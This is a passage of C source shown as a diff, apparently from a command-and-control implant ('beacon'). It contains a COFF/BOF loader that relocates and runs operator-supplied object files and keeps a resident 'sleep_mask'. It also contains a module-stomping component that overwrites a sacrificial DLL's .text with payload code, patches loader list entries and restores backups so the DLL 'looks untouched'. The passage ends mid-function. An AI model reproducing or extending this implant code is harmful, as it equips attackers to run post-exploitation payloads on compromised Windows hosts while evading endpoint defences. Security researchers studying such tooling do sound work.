mapFunctions[ *mf_idx ] = (UINT64)(ULONG_PTR)sym_addr;
|
||||
target = (PVOID)( mapFunctions + *mf_idx );
|
||||
(*mf_idx)++;
|
||||
} else {
|
||||
target = sym_addr;
|
||||
}
|
||||
}
|
||||
|
||||
*((UINT32*)loc) = (UINT32)( addend + (ULONG_PTR)target
|
||||
- (ULONG_PTR)( loc + 4 + delta ) );
|
||||
break;
|
||||
}
|
||||
#else
|
||||
case IMAGE_REL_I386_DIR32:
|
||||
*((UINT32*)loc) += (UINT32)(ULONG_PTR)sym_addr;
|
||||
break;
|
||||
case IMAGE_REL_I386_REL32:
|
||||
*((UINT32*)loc) += (UINT32)( (ULONG_PTR)sym_addr - (ULONG_PTR)( loc + 4 ) );
|
||||
break;
|
||||
#endif
|
||||
default:
|
||||
NaxDbg( Nax, "[bof] unknown reloc type 0x%x in sec[%d]", (UINT32)r->Type, (INT)si );
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
return NAX_OK;
|
||||
}
|
||||
|
||||
/* ========= [ entry point search ] ========= */
|
||||
|
||||
static PVOID NaxBofFindEntry( PNAX_INSTANCE Nax, PCOF_HEADER hdr, PCOF_SYMBOL symtab,
|
||||
PCHAR strtab, PVOID* mapSections ) {
|
||||
for ( UINT32 i = 0; i < hdr->NumberOfSymbols; i++ ) {
|
||||
PCOF_SYMBOL sym = symtab + i;
|
||||
if ( sym->SectionNumber <= 0 ) {
|
||||
i += sym->NumberOfAuxSymbols;
|
||||
continue;
|
||||
}
|
||||
PCHAR name = SymName( sym, strtab );
|
||||
|
||||
BOOL match = ( name[0] == 'g' && name[1] == 'o' && name[2] == '\0' );
|
||||
#if !defined(__x86_64__) && !defined(_WIN64)
|
||||
if ( !match )
|
||||
match = ( name[0] == '_' && name[1] == 'g' && name[2] == 'o' && name[3] == '\0' );
|
||||
#endif
|
||||
if ( match ) {
|
||||
INT secIdx = sym->SectionNumber - 1;
|
||||
if ( secIdx < BOF_MAX_SECTIONS && mapSections[secIdx] ) {
|
||||
PVOID entry = (PVOID)( (ULONG_PTR)mapSections[secIdx] + sym->Value );
|
||||
NaxDbg( Nax, "[bof] entry 'go' found: sec[%d]+0x%x = %p", secIdx, (UINT32)sym->Value, entry );
|
||||
return entry;
|
||||
}
|
||||
}
|
||||
i += sym->NumberOfAuxSymbols;
|
||||
}
|
||||
NaxDbg( Nax, "[bof] entry 'go' NOT FOUND in %u symbols", (UINT32)hdr->NumberOfSymbols );
|
||||
return NULL;
|
||||
}
|
||||
|
||||
/* ========= [ public entry point ] ========= */
|
||||
|
||||
FUNC INT NaxBofExecute( PNAX_INSTANCE Nax,
|
||||
PBYTE bof, UINT32 bof_size,
|
||||
PBYTE user_args, UINT32 user_args_size ) {
|
||||
if ( bof_size < sizeof( COF_HEADER ) ) return NAX_ERR_WIRE;
|
||||
|
||||
PCOF_HEADER hdr = (PCOF_HEADER)bof;
|
||||
PCOF_SECTION sections = (PCOF_SECTION)( bof + sizeof( COF_HEADER ) );
|
||||
PCOF_SYMBOL symtab = (PCOF_SYMBOL)( bof + hdr->PointerToSymbolTable );
|
||||
PCHAR strtab = (PCHAR)( symtab + hdr->NumberOfSymbols );
|
||||
|
||||
NaxDbg( Nax, "[bof] execute: %u bytes machine=0x%04x sections=%u symbols=%u",
|
||||
bof_size, (UINT32)hdr->Machine, (UINT32)hdr->NumberOfSections, (UINT32)hdr->NumberOfSymbols );
|
||||
|
||||
if ( hdr->Machine != COF_MACHINE_AMD64 ) {
|
||||
NaxDbg( Nax, "[bof] wrong machine type 0x%04x (expected 0x8664)", (UINT32)hdr->Machine );
|
||||
return NAX_ERR_INVAL;
|
||||
}
|
||||
|
||||
NAX_BOF_API bofApiTable[ NAX_BOF_API_COUNT ];
|
||||
NaxBofInitApiTable( bofApiTable, Nax );
|
||||
|
||||
PVOID mapSections[ BOF_MAX_SECTIONS ];
|
||||
MmZero( mapSections, sizeof( mapSections ) );
|
||||
|
||||
PVOID mf_base = NULL;
|
||||
UINT32 mf_idx = 0;
|
||||
BOOL stomped = FALSE;
|
||||
|
||||
/* ---- 1. allocate sections + mapFunctions (all via AllocSections) ---- */
|
||||
NaxDbg( Nax, "[bof] step 1: alloc sections" );
|
||||
if ( NaxBofAllocSections( Nax, bof, hdr, sections, mapSections, &mf_base, &stomped ) != NAX_OK ) {
|
||||
NaxDbg( Nax, "[bof] alloc FAILED" );
|
||||
BeaconOutput( CALLBACK_ERROR, "alloc", 5 );
|
||||
return NAX_ERR_FAIL;
|
||||
}
|
||||
NaxDbg( Nax, "[bof] step 1: alloc OK (stomped=%d)", (INT)stomped );
|
||||
|
||||
/* Compute image_base = lowest allocated section address.
|
||||
* MEM_TOP_DOWN gives .text (sec[0]) the highest address; all other sections
|
||||
* are below it. image_base is the floor so all ADDR32NB RVAs are positive. */
|
||||
ULONG_PTR image_base = (ULONG_PTR)~0ULL;
|
||||
for ( UINT16 i = 0; i < hdr->NumberOfSections && i < BOF_MAX_SECTIONS; i++ ) {
|
||||
if ( mapSections[i] && (ULONG_PTR)mapSections[i] < image_base )
|
||||
image_base = (ULONG_PTR)mapSections[i];
|
||||
}
|
||||
if ( mf_base && (ULONG_PTR)mf_base < image_base )
|
||||
image_base = (ULONG_PTR)mf_base;
|
||||
NaxDbg( Nax, "[bof] image_base=%p (.text offset from base=0x%llx)",
|
||||
(PVOID)image_base, (unsigned long long)( (ULONG_PTR)mapSections[0] - image_base ) );
|
||||
|
||||
/* ---- 2. process relocations ---- */
|
||||
NaxDbg( Nax, "[bof] step 2: process relocations" );
|
||||
if ( NaxBofProcessRelocations( Nax, bof, hdr, sections,
|
||||
symtab, strtab, mapSections, bofApiTable,
|
||||
(PUINT64)mf_base, &mf_idx, image_base ) != NAX_OK ) {
|
||||
NaxDbg( Nax, "[bof] reloc FAILED" );
|
||||
NaxBofCleanupSections( Nax, mapSections, hdr->NumberOfSections, stomped );
|
||||
if ( mf_base ) { SIZE_T z=0; PVOID b=mf_base; Nax->Ntdll.NtFreeVirtualMemory(NtCurrentProcess(),&b,&z,MEM_RELEASE); }
|
||||
return NAX_ERR_FAIL;
|
||||
}
|
||||
NaxDbg( Nax, "[bof] reloc OK (mapFunctions used=%u slots)", mf_idx );
|
||||
|
||||
/* ---- 3. register BOF .pdata for clean stack unwinding (stomp) ----
|
||||
* Must run BEFORE NaxBofStompProtect flips .text to RX, because
|
||||
* NaxBofStompPdata copies xdata into the tail of the .text section. */
|
||||
PRUNTIME_FUNCTION pdataTable = NULL;
|
||||
DWORD pdataCount = 0;
|
||||
BOOL pdataInDll = FALSE;
|
||||
if ( stomped ) {
|
||||
for ( UINT16 pi = 0; pi < hdr->NumberOfSections && pi < BOF_MAX_SECTIONS; pi++ ) {
|
||||
PCOF_SECTION ps = sections + pi;
|
||||
if ( ps->Name[0] == '.' && ps->Name[1] == 'p' && ps->Name[2] == 'd' &&
|
||||
ps->Name[3] == 'a' && ps->Name[4] == 't' && ps->Name[5] == 'a' &&
|
||||
mapSections[pi] && ps->SizeOfRawData >= 12 ) {
|
||||
pdataTable = (PRUNTIME_FUNCTION)mapSections[pi];
|
||||
pdataCount = ps->SizeOfRawData / sizeof( RUNTIME_FUNCTION );
|
||||
|
||||
/* Locate xdata section via first .pdata entry's UnwindData */
|
||||
PVOID xdataBase = NULL;
|
||||
ULONG xdataSize = 0;
|
||||
ULONG_PTR firstUnwindVA = image_base + pdataTable[0].UnwindData;
|
||||
for ( UINT16 xi = 0; xi < hdr->NumberOfSections && xi < BOF_MAX_SECTIONS; xi++ ) {
|
||||
if ( !mapSections[xi] ) continue;
|
||||
UINT32 secSz = sections[xi].SizeOfRawData;
|
||||
if ( secSz == 0 ) secSz = sections[xi].VirtualSize;
|
||||
if ( firstUnwindVA >= (ULONG_PTR)mapSections[xi] &&
|
||||
firstUnwindVA < (ULONG_PTR)mapSections[xi] + secSz ) {
|
||||
xdataBase = mapSections[xi];
|
||||
xdataSize = secSz;
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
pdataInDll = NaxBofStompPdata( Nax, pdataTable, pdataCount, image_base,
|
||||
xdataBase, xdataSize );
|
||||
if ( !pdataInDll )
|
||||
Nax->Ntdll.RtlAddFunctionTable( pdataTable, pdataCount, (DWORD64)image_base );
|
||||
NaxDbg( Nax, "[bof] .pdata %s: %u entries base=%p xdata=%p(%u)",
|
||||
pdataInDll ? "injected into DLL" : "registered dynamic",
|
||||
pdataCount, (PVOID)image_base, xdataBase, xdataSize );
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/* ---- 3b. set final memory protections ---- */
|
||||
if ( stomped ) {
|
||||
NaxBofStompProtect( Nax, mapSections, hdr->NumberOfSections, sections );
|
||||
NaxDbg( Nax, "[bof] step 3b: stomp protections OK (.text=RX, rest=RW)" );
|
||||
} else {
|
||||
/* Blanket RWX - fine-grained RX/RO crashes: unwind machinery may write
|
||||
* through .pdata/.xdata before control reaches the first BOF call. */
|
||||
NaxDbg( Nax, "[bof] step 3b: set PAGE_EXECUTE_READWRITE on all sections" );
|
||||
for ( UINT16 i = 0; i < hdr->NumberOfSections && i < BOF_MAX_SECTIONS; i++ ) {
|
||||
if ( !mapSections[i] ) continue;
|
||||
PVOID base = mapSections[i];
|
||||
SIZE_T sz = (SIZE_T)( sections[i].SizeOfRawData + 16 );
|
||||
ULONG old = 0;
|
||||
NTSTATUS st = Nax->Ntdll.NtProtectVirtualMemory( NtCurrentProcess(), &base, &sz, PAGE_EXECUTE_READWRITE, &old );
|
||||
NaxDbg( Nax, "[bof] sec[%d] '%.8s' RWX st=0x%x", (INT)i, sections[i].Name, (UINT32)st );
|
||||
}
|
||||
NaxDbg( Nax, "[bof] step 3b: protections OK" );
|
||||
}
|
||||
|
||||
/* ---- 4. find entry point ---- */
|
||||
NaxDbg( Nax, "[bof] step 4: find 'go'" );
|
||||
PVOID entry = NaxBofFindEntry( Nax, hdr, symtab, strtab, mapSections );
|
||||
if ( !entry ) {
|
||||
NaxDbg( Nax, "[bof] entry FAILED" );
|
||||
if ( pdataTable && !pdataInDll ) Nax->Ntdll.RtlDeleteFunctionTable( pdataTable );
|
||||
NaxBofCleanupSections( Nax, mapSections, hdr->NumberOfSections, stomped );
|
||||
if ( mf_base ) { SIZE_T _z=0; PVOID _b=mf_base; Nax->Ntdll.NtFreeVirtualMemory( NtCurrentProcess(), &_b, &_z, MEM_RELEASE ); }
|
||||
BeaconOutput( CALLBACK_ERROR, "go", 2 );
|
||||
return NAX_ERR_FAIL;
|
||||
}
|
||||
NaxDbg( Nax, "[bof] entry OK: %p", entry );
|
||||
|
||||
/* Record stomp metadata for operator feedback */
|
||||
Nax->BofCtx.Stomped = stomped ? 0x01 : 0x00;
|
||||
Nax->BofCtx.StompSlot = stomped ? ( Nax->CurrentJob ? Nax->CurrentJob->StompSlotIdx : 0xFF ) : 0x00;
|
||||
|
||||
/* ---- 5. execute BOF ---- */
|
||||
if ( stomped && Nax->CfgEnabled ) {
|
||||
BOF_STOMP_SLOT* cfgSlot = NULL;
|
||||
if ( Nax->BofStompPool.SmStompReq )
|
||||
cfgSlot = &Nax->BofStompPool.SmSlot;
|
||||
else if ( Nax->CurrentJob == NULL )
|
||||
cfgSlot = &Nax->BofStompPool.SyncSlot;
|
||||
else if ( Nax->CurrentJob->StompSlotIdx < Nax->BofStompPool.AsyncCount )
|
||||
cfgSlot = &Nax->BofStompPool.AsyncSlots[ Nax->CurrentJob->StompSlotIdx ];
|
||||
if ( cfgSlot )
|
||||
NaxCfgAddTarget( Nax, cfgSlot->DllBase, entry );
|
||||
}
|
||||
|
||||
NaxDbg( Nax, "[bof] calling go(%p, %u)", user_args, user_args_size );
|
||||
void ( *go )( char*, unsigned long ) = (void(*)( char*, unsigned long ))entry;
|
||||
go( (char*)user_args, (unsigned long)user_args_size );
|
||||
NaxDbg( Nax, "[bof] go returned, output=%u bytes", Nax->BofCtx.Len );
|
||||
|
||||
if ( pdataTable && !pdataInDll ) Nax->Ntdll.RtlDeleteFunctionTable( pdataTable );
|
||||
|
||||
/* ---- 6. cleanup ---- */
|
||||
NaxBofCleanupSections( Nax, mapSections, hdr->NumberOfSections, stomped );
|
||||
if ( mf_base ) {
|
||||
SIZE_T _z = 0; PVOID _b = mf_base;
|
||||
Nax->Ntdll.NtFreeVirtualMemory( NtCurrentProcess(), &_b, &_z, MEM_RELEASE );
|
||||
}
|
||||
NaxDbg( Nax, "[bof] done" );
|
||||
return NAX_OK;
|
||||
}
|
||||
|
||||
/* ========= [ resident BOF: load + keep alive ] ========= */
|
||||
|
||||
/* Find a named symbol (e.g. "sleep_mask") instead of hardcoded "go". */
|
||||
static PVOID NaxBofFindSymbol( PNAX_INSTANCE Nax, PCOF_HEADER hdr, PCOF_SYMBOL symtab,
|
||||
PCHAR strtab, PVOID* mapSections, PCHAR target ) {
|
||||
UINT32 tlen = NaxStrLen( target );
|
||||
for ( UINT32 i = 0; i < hdr->NumberOfSymbols; i++ ) {
|
||||
PCOF_SYMBOL sym = symtab + i;
|
||||
if ( sym->SectionNumber <= 0 ) {
|
||||
i += sym->NumberOfAuxSymbols;
|
||||
continue;
|
||||
}
|
||||
PCHAR name = SymName( sym, strtab );
|
||||
BOOL match = TRUE;
|
||||
for ( UINT32 k = 0; k <= tlen; k++ ) {
|
||||
if ( name[k] != target[k] ) { match = FALSE; break; }
|
||||
}
|
||||
if ( match ) {
|
||||
INT secIdx = sym->SectionNumber - 1;
|
||||
if ( secIdx < BOF_MAX_SECTIONS && mapSections[secIdx] ) {
|
||||
PVOID entry = (PVOID)( (ULONG_PTR)mapSections[secIdx] + sym->Value );
|
||||
NaxDbg( Nax, "[bof] symbol '%s' found: sec[%d]+0x%x = %p", target, secIdx, (UINT32)sym->Value, entry );
|
||||
return entry;
|
||||
}
|
||||
}
|
||||
i += sym->NumberOfAuxSymbols;
|
||||
}
|
||||
NaxDbg( Nax, "[bof] symbol '%s' NOT FOUND", target );
|
||||
return NULL;
|
||||
}
|
||||
|
||||
FUNC PVOID NaxBofLoadResident( PNAX_INSTANCE Nax,
|
||||
PBYTE bof, UINT32 bof_size,
|
||||
PCHAR sym_name ) {
|
||||
if ( bof_size < sizeof( COF_HEADER ) ) return NULL;
|
||||
|
||||
NaxBofFreeResident( Nax );
|
||||
|
||||
PCOF_HEADER hdr = (PCOF_HEADER)bof;
|
||||
PCOF_SECTION sections = (PCOF_SECTION)( bof + sizeof( COF_HEADER ) );
|
||||
PCOF_SYMBOL symtab = (PCOF_SYMBOL)( bof + hdr->PointerToSymbolTable );
|
||||
PCHAR strtab = (PCHAR)( symtab + hdr->NumberOfSymbols );
|
||||
|
||||
NaxDbg( Nax, "[bof-resident] load: %u bytes sections=%u symbols=%u",
|
||||
bof_size, (UINT32)hdr->NumberOfSections, (UINT32)hdr->NumberOfSymbols );
|
||||
|
||||
if ( hdr->Machine != COF_MACHINE_AMD64 ) return NULL;
|
||||
|
||||
NAX_BOF_API bofApiTable[ NAX_BOF_API_COUNT ];
|
||||
NaxBofInitApiTable( bofApiTable, Nax );
|
||||
|
||||
PVOID mapSections[ BOF_MAX_SECTIONS ];
|
||||
MmZero( mapSections, sizeof( mapSections ) );
|
||||
|
||||
PVOID mf_base = NULL;
|
||||
UINT32 mf_idx = 0;
|
||||
BOOL stomped = FALSE;
|
||||
|
||||
/* Route alloc/protect/pdata/free to the dedicated SmSlot */
|
||||
Nax->BofStompPool.SmStompReq = TRUE;
|
||||
|
||||
if ( NaxBofAllocSections( Nax, bof, hdr, sections, mapSections, &mf_base, &stomped ) != NAX_OK ) {
|
||||
NaxDbg( Nax, "[bof-resident] alloc FAILED" );
|
||||
Nax->BofStompPool.SmStompReq = FALSE;
|
||||
return NULL;
|
||||
}
|
||||
|
||||
ULONG_PTR image_base = (ULONG_PTR)~0ULL;
|
||||
for ( UINT16 i = 0; i < hdr->NumberOfSections && i < BOF_MAX_SECTIONS; i++ ) {
|
||||
if ( mapSections[i] && (ULONG_PTR)mapSections[i] < image_base )
|
||||
image_base = (ULONG_PTR)mapSections[i];
|
||||
}
|
||||
if ( mf_base && (ULONG_PTR)mf_base < image_base )
|
||||
image_base = (ULONG_PTR)mf_base;
|
||||
|
||||
if ( NaxBofProcessRelocations( Nax, bof, hdr, sections,
|
||||
symtab, strtab, mapSections, bofApiTable,
|
||||
(PUINT64)mf_base, &mf_idx, image_base ) != NAX_OK ) {
|
||||
NaxBofCleanupSections( Nax, mapSections, hdr->NumberOfSections, stomped );
|
||||
if ( mf_base ) { SIZE_T z=0; PVOID b=mf_base; Nax->Ntdll.NtFreeVirtualMemory(NtCurrentProcess(),&b,&z,MEM_RELEASE); }
|
||||
Nax->BofStompPool.SmStompReq = FALSE;
|
||||
return NULL;
|
||||
}
|
||||
|
||||
/* register .pdata */
|
||||
PRUNTIME_FUNCTION pdataTable = NULL;
|
||||
DWORD pdataCount = 0;
|
||||
BOOL pdataInDll = FALSE;
|
||||
if ( stomped ) {
|
||||
for ( UINT16 pi = 0; pi < hdr->NumberOfSections && pi < BOF_MAX_SECTIONS; pi++ ) {
|
||||
PCOF_SECTION ps = sections + pi;
|
||||
if ( ps->Name[0] == '.' && ps->Name[1] == 'p' && ps->Name[2] == 'd' &&
|
||||
ps->Name[3] == 'a' && ps->Name[4] == 't' && ps->Name[5] == 'a' &&
|
||||
mapSections[pi] && ps->SizeOfRawData >= 12 ) {
|
||||
pdataTable = (PRUNTIME_FUNCTION)mapSections[pi];
|
||||
pdataCount = ps->SizeOfRawData / sizeof( RUNTIME_FUNCTION );
|
||||
PVOID xdataBase = NULL;
|
||||
ULONG xdataSize = 0;
|
||||
ULONG_PTR firstUnwindVA = image_base + pdataTable[0].UnwindData;
|
||||
for ( UINT16 xi = 0; xi < hdr->NumberOfSections && xi < BOF_MAX_SECTIONS; xi++ ) {
|
||||
if ( !mapSections[xi] ) continue;
|
||||
UINT32 secSz = sections[xi].SizeOfRawData;
|
||||
if ( secSz == 0 ) secSz = sections[xi].VirtualSize;
|
||||
if ( firstUnwindVA >= (ULONG_PTR)mapSections[xi] &&
|
||||
firstUnwindVA < (ULONG_PTR)mapSections[xi] + secSz ) {
|
||||
xdataBase = mapSections[xi];
|
||||
xdataSize = secSz;
|
||||
break;
|
||||
}
|
||||
}
|
||||
pdataInDll = NaxBofStompPdata( Nax, pdataTable, pdataCount, image_base,
|
||||
xdataBase, xdataSize );
|
||||
if ( !pdataInDll )
|
||||
Nax->Ntdll.RtlAddFunctionTable( pdataTable, pdataCount, (DWORD64)image_base );
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/* set protections */
|
||||
if ( stomped ) {
|
||||
NaxBofStompProtect( Nax, mapSections, hdr->NumberOfSections, sections );
|
||||
} else {
|
||||
for ( UINT16 i = 0; i < hdr->NumberOfSections && i < BOF_MAX_SECTIONS; i++ ) {
|
||||
if ( !mapSections[i] ) continue;
|
||||
PVOID base = mapSections[i];
|
||||
SIZE_T sz = (SIZE_T)( sections[i].SizeOfRawData + 16 );
|
||||
ULONG old = 0;
|
||||
Nax->Ntdll.NtProtectVirtualMemory( NtCurrentProcess(), &base, &sz,
|
||||
PAGE_EXECUTE_READWRITE, &old );
|
||||
}
|
||||
}
|
||||
|
||||
/* find named symbol */
|
||||
PVOID entry = NaxBofFindSymbol( Nax, hdr, symtab, strtab, mapSections, sym_name );
|
||||
if ( !entry ) {
|
||||
if ( pdataTable && !pdataInDll ) Nax->Ntdll.RtlDeleteFunctionTable( pdataTable );
|
||||
NaxBofCleanupSections( Nax, mapSections, hdr->NumberOfSections, stomped );
|
||||
if ( mf_base ) { SIZE_T z=0; PVOID b=mf_base; Nax->Ntdll.NtFreeVirtualMemory(NtCurrentProcess(),&b,&z,MEM_RELEASE); }
|
||||
Nax->BofStompPool.SmStompReq = FALSE;
|
||||
return NULL;
|
||||
}
|
||||
|
||||
Nax->BofStompPool.SmStompReq = FALSE;
|
||||
|
||||
/* persist state for later cleanup */
|
||||
for ( UINT16 i = 0; i < hdr->NumberOfSections && i < BOF_MAX_SECTIONS; i++ )
|
||||
Nax->ResidentSections[i] = mapSections[i];
|
||||
Nax->ResidentNumSections = hdr->NumberOfSections;
|
||||
Nax->ResidentMapFunc = mf_base;
|
||||
Nax->ResidentStomped = stomped;
|
||||
Nax->ResidentPdata = pdataTable;
|
||||
Nax->ResidentPdataCount = pdataCount;
|
||||
Nax->ResidentPdataInDll = pdataInDll;
|
||||
|
||||
NaxDbg( Nax, "[bof-resident] loaded '%s' at %p (stomped=%d sm_slot=%d)",
|
||||
sym_name, entry, (INT)stomped, (INT)(stomped && Nax->BofStompPool.SmSlot.InUse) );
|
||||
return entry;
|
||||
}
|
||||
|
||||
FUNC VOID NaxBofFreeResident( PNAX_INSTANCE Nax ) {
|
||||
if ( !Nax->ResidentNumSections )
|
||||
return;
|
||||
|
||||
NaxDbg( Nax, "[bof-resident] freeing" );
|
||||
|
||||
/* Un-gate APIs BEFORE cleanup - NaxBofStompFree calls VirtualProtect
|
||||
on the SmSlot .text where the sleepmask code lives. If VP is gated
|
||||
the sleepmask would VirtualProtect its own page to RW, removing
|
||||
execute permission, then DEP-crash on the next instruction.
|
||||
NaxSleepmaskWire re-gates them when a new BOF is loaded. */
|
||||
NaxGateUnwireAll( Nax );
|
||||
|
||||
/* Route cleanup to SmSlot if the resident was stomped there */
|
||||
Nax->BofStompPool.SmStompReq = TRUE;
|
||||
|
||||
if ( Nax->ResidentPdata && !Nax->ResidentPdataInDll )
|
||||
Nax->Ntdll.RtlDeleteFunctionTable( Nax->ResidentPdata );
|
||||
|
||||
NaxBofCleanupSections( Nax, Nax->ResidentSections,
|
||||
Nax->ResidentNumSections, Nax->ResidentStomped );
|
||||
|
||||
if ( Nax->ResidentMapFunc ) {
|
||||
SIZE_T z = 0; PVOID b = Nax->ResidentMapFunc;
|
||||
Nax->Ntdll.NtFreeVirtualMemory( NtCurrentProcess(), &b, &z, MEM_RELEASE );
|
||||
}
|
||||
|
||||
Nax->BofStompPool.SmStompReq = FALSE;
|
||||
|
||||
MmZero( Nax->ResidentSections, sizeof( Nax->ResidentSections ) );
|
||||
Nax->ResidentNumSections = 0;
|
||||
Nax->ResidentMapFunc = NULL;
|
||||
Nax->ResidentStomped = FALSE;
|
||||
Nax->ResidentPdata = NULL;
|
||||
Nax->ResidentPdataCount = 0;
|
||||
Nax->ResidentPdataInDll = FALSE;
|
||||
}
|
||||
@@ -0,0 +1,432 @@
|
||||
/* beacon/src/Bof/Stomp.c
|
||||
* BOF module stomping - execute BOF .text from image-backed memory.
|
||||
*
|
||||
* LoadLibraryExW(DONT_RESOLVE_DLL_REFERENCES) loads a sacrificial DLL without
|
||||
* calling DllMain or resolving imports, giving us a clean IMG-backed .text
|
||||
* section to stomp with BOF code. .text gets RW during setup, RX for exec;
|
||||
* non-.text sections stay in private PAGE_READWRITE memory. */
|
||||
|
||||
#include "Macros.h"
|
||||
#include "Instance.h"
|
||||
#include "Bof.h"
|
||||
#include "LdrFlags.h"
|
||||
|
||||
/* ========= [ helpers ] ========= */
|
||||
|
||||
static VOID StompPatchLdr( BOF_STOMP_SLOT* slot ) {
|
||||
PNAX_PEB Peb = NaxCurrentPeb();
|
||||
PLIST_ENTRY Head = &Peb->Ldr->InLoadOrderModuleList;
|
||||
PLIST_ENTRY Cur = Head->Flink;
|
||||
|
||||
while ( Cur != Head ) {
|
||||
PNAX_LDR_ENTRY Entry = (PNAX_LDR_ENTRY)Cur;
|
||||
if ( Entry->DllBase == slot->DllBase ) {
|
||||
Entry->EntryPoint = C_PTR( U_PTR( slot->DllBase ) + slot->Nt->OptionalHeader.AddressOfEntryPoint );
|
||||
Entry->Flags |= LDRP_IMAGE_DLL | LDRP_LOAD_NOTIFICATIONS_SENT |
|
||||
LDRP_PROCESS_STATIC_IMPORT | LDRP_ENTRY_PROCESSED;
|
||||
return;
|
||||
}
|
||||
Cur = Cur->Flink;
|
||||
}
|
||||
}
|
||||
|
||||
static BOOL StompInitSlot( PNAX_INSTANCE Nax, PWCHAR dllName, BOF_STOMP_SLOT* slot ) {
|
||||
HMODULE hDll = Nax->Kernel32.LoadLibraryExW( dllName, NULL, DONT_RESOLVE_DLL_REFERENCES );
|
||||
if ( !hDll ) {
|
||||
NaxDbg( Nax, "[bof-stomp] LoadLibraryExW failed for DLL" );
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
slot->DllBase = (PVOID)hDll;
|
||||
|
||||
PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER)hDll;
|
||||
PIMAGE_NT_HEADERS nt = (PIMAGE_NT_HEADERS)( (PBYTE)hDll + dos->e_lfanew );
|
||||
slot->Nt = nt;
|
||||
|
||||
PIMAGE_SECTION_HEADER sec = IMAGE_FIRST_SECTION( nt );
|
||||
for ( UINT16 i = 0; i < nt->FileHeader.NumberOfSections; i++ ) {
|
||||
if ( sec[i].Name[0] == '.' && sec[i].Name[1] == 't' &&
|
||||
sec[i].Name[2] == 'e' && sec[i].Name[3] == 'x' &&
|
||||
sec[i].Name[4] == 't' ) {
|
||||
slot->TextBase = (PVOID)( (PBYTE)hDll + sec[i].VirtualAddress );
|
||||
slot->TextCap = sec[i].SizeOfRawData;
|
||||
if ( slot->TextCap == 0 )
|
||||
slot->TextCap = sec[i].Misc.VirtualSize;
|
||||
slot->InUse = FALSE;
|
||||
|
||||
/* Back up original .text so the DLL looks untouched between executions */
|
||||
slot->TextBackup = Nax->Ntdll.RtlAllocateHeap( Nax->Heap, 0, slot->TextCap );
|
||||
if ( slot->TextBackup )
|
||||
MmCopy( slot->TextBackup, slot->TextBase, slot->TextCap );
|
||||
|
||||
/* Cache .pdata location and back up original content.
|
||||
* .pdata is zeroed per-execution so dynamic RtlAddFunctionTable
|
||||
* entries take priority, then restored when the BOF finishes. */
|
||||
PIMAGE_DATA_DIRECTORY exDir = &nt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXCEPTION];
|
||||
if ( exDir->VirtualAddress && exDir->Size ) {
|
||||
slot->PdataBase = (PVOID)( (PBYTE)hDll + exDir->VirtualAddress );
|
||||
slot->PdataSize = exDir->Size;
|
||||
slot->PdataBackup = Nax->Ntdll.RtlAllocateHeap( Nax->Heap, 0, exDir->Size );
|
||||
if ( slot->PdataBackup )
|
||||
MmCopy( slot->PdataBackup, slot->PdataBase, exDir->Size );
|
||||
}
|
||||
|
||||
StompPatchLdr( slot );
|
||||
|
||||
NaxDbg( Nax, "[bof-stomp] slot: dll=%p .text=%p cap=%u", hDll, slot->TextBase, slot->TextCap );
|
||||
return TRUE;
|
||||
}
|
||||
}
|
||||
|
||||
Nax->Kernel32.FreeLibrary( hDll );
|
||||
slot->DllBase = NULL;
|
||||
NaxDbg( Nax, "[bof-stomp] no .text section found" );
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
/* ========= [ near allocator ] ========= */
|
||||
|
||||
/* Allocate 'need' bytes within ±16 MB of the stomp DLL image.
|
||||
* Keeps REL32 displacements from .text well within ±2 GB. */
|
||||
static PVOID StompAllocNear( PNAX_INSTANCE Nax, BOF_STOMP_SLOT* slot, SIZE_T need, ULONG protect ) {
|
||||
ULONG_PTR dll_end = (ULONG_PTR)slot->DllBase + slot->Nt->OptionalHeader.SizeOfImage;
|
||||
ULONG_PTR fwd_base = ( dll_end + 0xFFFF ) & ~(ULONG_PTR)0xFFFF;
|
||||
|
||||
for ( UINT32 i = 0; i < 256; i++ ) {
|
||||
PVOID base = (PVOID)( fwd_base + (ULONG_PTR)i * 0x10000 );
|
||||
SIZE_T sz = need;
|
||||
NTSTATUS st = Nax->Ntdll.NtAllocateVirtualMemory(
|
||||
NtCurrentProcess(), &base, 0, &sz,
|
||||
MEM_COMMIT | MEM_RESERVE, protect );
|
||||
if ( NT_SUCCESS( st ) ) return base;
|
||||
}
|
||||
|
||||
ULONG_PTR bwd_base = (ULONG_PTR)slot->DllBase & ~(ULONG_PTR)0xFFFF;
|
||||
for ( UINT32 i = 1; i <= 256 && bwd_base >= (ULONG_PTR)i * 0x10000; i++ ) {
|
||||
PVOID base = (PVOID)( bwd_base - (ULONG_PTR)i * 0x10000 );
|
||||
SIZE_T sz = need;
|
||||
NTSTATUS st = Nax->Ntdll.NtAllocateVirtualMemory(
|
||||
NtCurrentProcess(), &base, 0, &sz,
|
||||
MEM_COMMIT | MEM_RESERVE, protect );
|
||||
if ( NT_SUCCESS( st ) ) return base;
|
||||
}
|
||||
|
||||
return NULL;
|
||||
}
|
||||
|
||||
/* ========= [ init ] ========= */
|
||||
|
||||
FUNC VOID NaxBofStompInit( PNAX_INSTANCE Nax ) {
|
||||
if ( !Nax->Config.BofStomp )
|
||||
return;
|
||||
|
||||
NaxDbg( Nax, "[bof-stomp] init: sync=%ls async_count=%d",
|
||||
Nax->Config.BofSyncDll, (INT)Nax->Config.BofAsyncCount );
|
||||
|
||||
StompInitSlot( Nax, Nax->Config.BofSyncDll, &Nax->BofStompPool.SyncSlot );
|
||||
|
||||
BYTE count = Nax->Config.BofAsyncCount;
|
||||
if ( count > BOF_STOMP_ASYNC_MAX )
|
||||
count = BOF_STOMP_ASYNC_MAX;
|
||||
|
||||
for ( BYTE i = 0; i < count; i++ ) {
|
||||
if ( StompInitSlot( Nax, Nax->Config.BofAsyncDlls[i], &Nax->BofStompPool.AsyncSlots[i] ) )
|
||||
Nax->BofStompPool.AsyncCount++;
|
||||
}
|
||||
|
||||
if ( Nax->Config.SmStompDll[0] ) {
|
||||
StompInitSlot( Nax, Nax->Config.SmStompDll, &Nax->BofStompPool.SmSlot );
|
||||
NaxDbg( Nax, "[bof-stomp] sm_slot: dll=%p .text=%p cap=%u",
|
